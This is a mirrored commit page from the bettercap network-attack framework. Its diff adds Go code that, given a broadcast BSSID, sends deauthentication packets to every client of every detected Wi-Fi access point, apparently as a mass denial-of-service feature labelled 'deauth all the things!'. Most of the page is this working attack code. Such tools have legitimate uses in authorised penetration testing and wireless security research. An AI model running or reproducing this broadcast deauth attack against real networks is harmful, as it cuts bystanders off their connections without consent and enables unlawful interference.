mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 02:36:57 -07:00
new: wifi.deauth now accepts a broadcast bssid, in which case it'll start deauthing every client from every access point
This commit is contained in:
parent
5ee7a9cf82
commit
51987ff84f
3 changed files with 106 additions and 8 deletions
|
@ -52,6 +52,29 @@ func (w *WiFiModule) startDeauth(to net.HardwareAddr) error {
|
|||
w.writes.Add(1)
|
||||
defer w.writes.Done()
|
||||
|
||||
// deauth all the things!
|
||||
if network.IsBroadcastMac(to) {
|
||||
log.Info("Initiating broadcast deauth attack ...")
|
||||
aps := w.Session.WiFi.List()
|
||||
for _, ap := range aps {
|
||||
clients := ap.Clients()
|
||||
if numClients := len(clients); numClients > 0 {
|
||||
log.Info("Deauthing %d clients from AP %s ...", numClients, ap.ESSID())
|
||||
w.onChannel(network.Dot11Freq2Chan(ap.Frequency), func() {
|
||||
for _, c := range clients {
|
||||
if !w.Running() {
|
||||
break
|
||||
}
|
||||
w.sendDeauthPacket(ap.HW, c.HW)
|
||||
}
|
||||
})
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
bssid := to.String()
|
||||
|
||||
// are we deauthing every client of a given access point?
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue